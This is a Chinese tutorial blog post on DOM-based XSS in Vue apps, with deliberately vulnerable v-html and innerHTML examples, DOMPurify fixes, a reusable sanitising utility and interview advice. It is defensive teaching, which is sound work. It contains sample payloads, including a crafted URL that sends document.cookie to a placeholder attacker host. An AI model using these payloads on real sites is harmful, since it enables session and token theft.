前端转安全:理解 DOM 型 XSS,2 个 Vue 案例 + 1 个防御脚本
“做前端时用 v-html 渲染富文本总被测试提 XSS 漏洞,却不知道为什么危险;URL 参数拿过来直接用document.write渲染,踩了坑才知道是 DOM 型 XSS;想转安全前端岗,却讲不清前端该怎么防 XSS”—— 这是前端开发者切入安全领域的典型困境。
DOM 型 XSS 是前端专属漏洞,不经过后端服务器,完全由前端 DOM 操作触发,也是前端转安全的 “核心突破口”。本文用 2 个 Vue 项目高频场景(v-html 渲染、动态路由参数)拆解 DOM 型 XSS 的原理与危害,再提供 1 个可直接复用的 Vue 防御脚本,帮你用熟悉的前端技术栈理解安全,形成 “漏洞识别 - 复现 - 防御” 的闭环能力。
一、先搞懂:DOM 型 XSS 的 “前端专属” 特点
很多前端开发者分不清 XSS 类型,先明确 DOM 型 XSS 与其他类型的核心区别,避免混淆:
| XSS 类型 | 触发流程 | 数据流转 | 防御责任方 |
|---|---|---|---|
| 反射型 XSS | 前端→后端(未过滤)→前端(渲染) | 经过后端服务器 | 后端为主、前端为辅 |
| 存储型 XSS | 前端→后端(存储)→前端(渲染) | 存入数据库,多次渲染 | 后端为主、前端为辅 |
| DOM 型 XSS | 前端(URL / 存储)→DOM 操作(渲染) | 不经过后端,纯前端 | 前端为主 |
DOM 型 XSS 核心原理:前端通过document.write、innerHTML、v-html等 API,将未过滤的用户输入(如 URL 参数、localStorage 数据)直接插入 DOM,导致恶意 JavaScript 脚本被执行。
前端开发者优势:你熟悉 Vue 的模板渲染、路由参数处理、前端存储 API,比后端更清楚哪些场景容易触发 DOM 型 XSS,防御时更能精准定位风险点。
二、案例 1:v-html 滥用 —— 富文本渲染的 “隐形坑”
v-html 是 Vue 中最易触发 DOM 型 XSS 的场景之一,很多前端为了实现富文本渲染直接用 v-html,却忽略了输入过滤,这是前端面试高频考点。
1. 漏洞场景还原(Vue 3 示例)
(1)漏洞代码:未过滤的 v-html 渲染
假设做一个 “用户评论” 功能,后端返回的评论内容包含用户输入,前端直接用 v-html 渲染:
<template>
<div class="comment-list">
<!-- 危险:v-html直接渲染未过滤的评论内容 -->
<div v-for="comment in comments" :key="comment.id" v-html="comment.content"></div>
</div>
</template>
<script setup>
import { ref, onMounted } from 'vue';
const comments = ref([]);
// 模拟从后端获取评论(实际场景中,评论content可能包含用户输入的恶意脚本)
onMounted(() => {
comments.value = [
{
id: 1,
content: "这篇文章不错!" // 正常评论
},
{
id: 2,
// 恶意评论:包含DOM型XSS脚本,窃取localStorage中的用户信息
content: '<script>alert("窃取到用户信息:"+localStorage.getItem("userToken"))</script>'
}
];
});
</script>
(2)攻击过程:脚本如何执行?
-
用户访问评论页面,Vue 通过 v-html 将评论内容插入 DOM;
-
恶意评论中的,可将用户 Token 发送到黑客服务器,导致账号劫持。
(3)为什么后端防不住?
因为后端可能未处理这段评论(比如标记为 “纯文本”),甚至不知道前端会用 v-html 渲染 ——DOM 型 XSS 的触发完全在前端,后端无法感知,必须前端自己防御。
2. 修复方案:v-html+DOMPurify 过滤
DOMPurify 是前端专用的 XSS 过滤库,能过滤掉 HTML 中的恶意脚本,保留合法的富文本标签(如
、、
),步骤如下:
(1)安装 DOMPurify
npm install dompurify --save
(2)安全渲染组件:封装 v-html + 过滤
<template>
<div class="comment-list">
<!-- 安全:v-html渲染过滤后的内容 -->
<div v-for="comment in comments" :key="comment.id" v-html="safeHtml(comment.content)"></div>
</div>
</template>
<script setup>
import { ref, onMounted } from 'vue';
import DOMPurify from 'dompurify'; // 引入过滤库
const comments = ref([]);
// 封装安全渲染函数:DOMPurify过滤后再渲染
const safeHtml = (html) => {
// 配置:只允许常见的富文本标签,禁用script、onerror等危险属性
return DOMPurify.sanitize(html, {
ADD_TAGS: ['p', 'img', 'h1', 'h2', 'a'], // 允许的标签
ADD_ATTR: ['src', 'alt', 'href'], // 允许的属性
FORBID_ATTR: ['onclick', 'onerror', 'onload'] // 禁止的危险事件属性
});
};
onMounted(() => {
comments.value = [/* 同上,包含恶意评论 */];
});
</script>
(3)修复效果
恶意评论中的
三、案例 2:动态路由参数 ——URL 中的 “隐藏攻击”
前端常通过 Vue Router 的$route.params获取 URL 参数(如文章 ID、用户昵称),若直接将参数插入 DOM(如用innerHTML或模板绑定),会触发 DOM 型 XSS,这个场景容易被忽视。
1. 漏洞场景还原(Vue 3+Vue Router 示例)
(1)漏洞代码:路由参数直接渲染
假设做一个 “文章详情页”,URL 为/article?id=1&title=前端安全,前端获取title参数后直接插入页面标题:
<template>
<div class="article-detail">
<!-- 危险1:模板中直接绑定未过滤的路由参数(Vue模板会转义,但innerHTML不会) -->
<h1>{{ $route.params.title }}</h1>
<!-- 危险2:用innerHTML动态插入路由参数(完全不转义) -->
<div id="dynamic-title"></div>
</div>
</template>
<script setup>
import { onMounted } from 'vue';
import { useRoute } from 'vue-router';
const route = useRoute();
onMounted(() => {
// 危险操作:将路由title参数直接用innerHTML插入DOM
const titleElement = document.getElementById('dynamic-title');
titleElement.innerHTML = `当前文章:${route.params.title}`;
});
</script>
(2)攻击过程:构造恶意 URL
攻击者构造如下 URL,诱骗用户点击:
http://你的域名/article?id=1&title=<script>document.location='http://黑客IP/steal?c='+document.cookie</script>
-
用户点击 URL 后,Vue Router 解析title参数为恶意脚本;
-
h1标签中的{{ $route.params.title }}会被 Vue 模板自动转义(<→<),脚本不执行;
-
但innerHTML会直接渲染参数,恶意脚本执行,将用户 Cookie 发送到黑客服务器 ——DOM 型 XSS 触发成功。
(3)前端开发者的误区
很多人以为 “Vue 模板绑定会自动转义,所以路由参数安全”,但忽略了手动用 innerHTML、document.write 等 API 操作 DOM的场景 —— 这些 API 不会自动转义,是 DOM 型 XSS 的重灾区。
2. 修复方案:路由参数过滤 + 安全渲染
针对路由参数,需做到 “入参过滤 + 安全 API 渲染”,步骤如下:
(1)全局路由参数过滤(main.js)
在 Vue Router 导航守卫中统一过滤路由参数,避免每个组件重复处理:
// main.js(Vue 3)
import { createApp } from 'vue';
import { createRouter, createWebHistory } from 'vue-router';
import DOMPurify from 'dompurify';
import App from './App.vue';
// 路由配置(省略)
const routes = [/* ... */];
const router = createRouter({
history: createWebHistory(),
routes
});
// 全局前置守卫:过滤所有路由参数
router.beforeEach((to, from, next) => {
// 过滤params参数
if (to.params) {
Object.keys(to.params).forEach(key => {
// 用DOMPurify过滤参数,去除恶意脚本
to.params[key] = DOMPurify.sanitize(to.params[key], {
ALLOWED_TAGS: [], // 路由参数不需要HTML标签,直接过滤所有标签
ALLOWED_ATTR: []
});
});
}
// 过滤query参数(如?id=1&name=xxx)
if (to.query) {
Object.keys(to.query).forEach(key => {
to.query[key] = DOMPurify.sanitize(to.query[key], {
ALLOWED_TAGS: [],
ALLOWED_ATTR: []
});
});
}
next();
});
const app = createApp(App);
app.use(router);
app.mount('#app');
(2)组件内禁用危险 DOM API
组件中避免使用innerHTML、document.write,若必须动态插入内容,用 Vue 的v-text或模板绑定(自动转义):
<template>
<div class="article-detail">
<!-- 安全:Vue模板自动转义 -->
<h1>{{ $route.params.title }}</h1>
<!-- 安全:用v-text绑定,完全不解析HTML -->
<div v-text="`当前文章:${$route.params.title}`"></div>
</div>
</template>
<script setup>
// 不再使用innerHTML操作DOM
</script>
(3)修复效果
攻击者构造的恶意 URL 参数被 DOMPurify 过滤,
四、实战:Vue 防御脚本 —— 可直接复用的 “安全组件库”
基于前面的案例,封装 1 个 Vue 安全组件脚本,包含 “富文本渲染、路由参数过滤、localStorage 安全读写”3 个高频功能,前端项目可直接引入,避免重复开发。
1. 脚本文件:src/utils/security.js
import DOMPurify from 'dompurify';
/**
* 1. 富文本安全渲染:v-html专用过滤函数
* @param {string} html - 待渲染的HTML内容
* @param {object} options - DOMPurify配置(可选)
* @returns {string} 过滤后的安全HTML
*/
export const safeHtml = (html, options = {}) => {
// 默认配置:只允许常见富文本标签和属性
const defaultOptions = {
ADD_TAGS: ['p', 'img', 'h1', 'h2', 'h3', 'a', 'ul', 'li'],
ADD_ATTR: ['src', 'alt', 'href', 'title'],
FORBID_ATTR: ['onclick', 'onerror', 'onload', 'onmouseover'],
FORBID_TAGS: ['script', 'iframe', 'embed'] // 禁止危险标签
};
return DOMPurify.sanitize(html, { ...defaultOptions, ...options });
};
/**
* 2. 路由参数安全获取:过滤单个参数
* @param {any} param - 路由参数(params/query中的值)
* @returns {any} 过滤后的参数
*/
export const safeRouteParam = (param) => {
if (typeof param !== 'string') return param; // 非字符串参数直接返回
// 过滤所有HTML标签和属性,只保留纯文本
return DOMPurify.sanitize(param, {
ALLOWED_TAGS: [],
ALLOWED_ATTR: []
});
};
/**
* 3. localStorage安全读写:防止存储的内容触发DOM型XSS
* @returns {object} 安全的localStorage操作方法
*/
export const safeLocalStorage = {
// 安全写入:过滤值中的HTML标签
setItem: (key, value) => {
if (typeof value === 'string') {
const safeValue = DOMPurify.sanitize(value, { ALLOWED_TAGS: [] });
localStorage.setItem(key, safeValue);
} else {
// 非字符串值(如对象)转JSON存储
const safeValue = JSON.stringify(value);
localStorage.setItem(key, safeValue);
}
},
// 安全读取:若读取的是字符串,返回过滤后的值
getItem: (key) => {
const value = localStorage.getItem(key);
if (!value) return null;
try {
// 尝试解析JSON(若存储的是对象)
return JSON.parse(value);
} catch (e) {
// 字符串值:过滤后返回
return DOMPurify.sanitize(value, { ALLOWED_TAGS: [] });
}
}
};
2. 组件中使用示例
<template>
<div>
<!-- 1. 安全渲染富文本 -->
<div v-html="safeHtml(richTextContent)"></div>
<!-- 2. 安全使用路由参数 -->
<p>文章标题:{{ safeRouteParam($route.params.title) }}</p>
<!-- 3. 安全读写localStorage -->
<button @click="saveUserInfo">保存用户信息</button>
<p>用户昵称:{{ userInfo.nickname }}</p>
</div>
</template>
<script setup>
import { ref, onMounted } from 'vue';
import { useRoute } from 'vue-router';
import { safeHtml, safeRouteParam, safeLocalStorage } from '@/utils/security';
const route = useRoute();
const richTextContent = ref('<p>这是富文本</p><script>alert(1)</script>'); // 含恶意脚本
const userInfo = ref({});
// 3. 安全读写localStorage
const saveUserInfo = () => {
// 模拟用户输入的昵称(含恶意脚本)
const unsafeNickname = '<script>stealInfo()</script>张三';
safeLocalStorage.setItem('userInfo', { nickname: unsafeNickname });
};
onMounted(() => {
// 读取过滤后的用户信息
userInfo.value = safeLocalStorage.getItem('userInfo') || {};
});
</script>
五、前端转安全的优势:如何在面试中讲清 DOM 型 XSS?
前端开发者讲 DOM 型 XSS,要突出 “熟悉前端场景 + 实战经验”,避免只背理论,参考面试话术:
“我在 Vue 项目中遇到过 DOM 型 XSS 的坑,比如用 v-html 渲染评论时,用户输入的
还有一次,用$route.params获取 URL 中的文章标题,直接用 innerHTML 插入页面,被测试测出 DOM 型 XSS—— 后来在路由守卫中统一过滤了 params 和 query 参数,还禁用了组件内的 innerHTML,改用 v-text 绑定。
现在我会在项目中用自己封装的安全脚本,覆盖富文本、路由参数、localStorage 这 3 个高频场景,还会在代码评审时提醒同事:v-html 一定要过滤,手动操作 DOM 要小心。
我觉得前端做安全有优势,因为我们更清楚 Vue 的渲染机制和前端 API 的风险点,防御时能更精准,比如知道 Vue 模板会自动转义,但 v-html 和 innerHTML 不会,这些细节后端可能不太了解。”
六、避坑指南:前端防 DOM 型 XSS 的 3 个误区
1. 误区 1:“Vue 模板绑定绝对安全,不用过滤”
-
错因:Vue 模板({{ }}、v-bind)会自动转义,但v-html、innerHTML、document.write不会;
-
纠正:模板绑定安全,但只要用了 “能解析 HTML 的 API”,必须手动过滤。
2. 误区 2:“DOMPurify 能防所有 XSS,引入就万事大吉”
-
错因:DOMPurify 需正确配置,若开启ADD_TAGS: [‘script’](允许 script 标签),等于没防;
-
纠正:根据场景配置 DOMPurify,富文本场景只开放必要标签,路由参数、localStorage 场景直接禁用所有标签。
3. 误区 3:“DOM 型 XSS 只在 URL 参数中出现”
-
错因:localStorage、sessionStorage、Cookie、postMessage 数据,只要未过滤直接插入 DOM,都可能触发;
-
纠正:所有 “用户可控的输入”(包括前端存储的数据),在插入 DOM 前必须过滤。
七、总结:前端转安全的下一步
掌握 DOM 型 XSS 后,可进一步学习前端安全的其他方向:
-
CSRF 防御:利用 Vue 的 axios 拦截器统一添加 CSRF Token,理解 SameSite Cookie 的作用;
-
CSP 配置:在 Vue 项目中通过 nginx 或 meta 标签配置内容安全策略,从浏览器层面阻断 XSS;
-
前端漏洞挖掘:学习用 Burp Suite 测试前端页面,找 DOM 型 XSS、CSRF 等漏洞,积累实战案例。
前端转安全不是 “放弃前端技能”,而是 “用前端技能解决安全问题”—— 你熟悉的 Vue、React、前端 API,都是切入安全领域的 “垫脚石”。把 DOM 型 XSS 的案例和防御脚本整理成项目,放在 GitHub 上,面试时能比 “只背理论的安全新手” 更有竞争力。
网络安全学习资料分享
为了帮助大家更好的学习网络安全,我把我从一线互联网大厂薅来的网络安全教程及资料分享给大家,里面的内容都是适合零基础小白的笔记和资料,不懂编程也能听懂、看懂,朋友们如果有需要这套网络安全教程+进阶学习资源包,可以扫码下方二维码限时免费领取(如遇扫码问题,可以在评论区留言领取哦)~


2001

被折叠的 条评论
为什么被折叠?



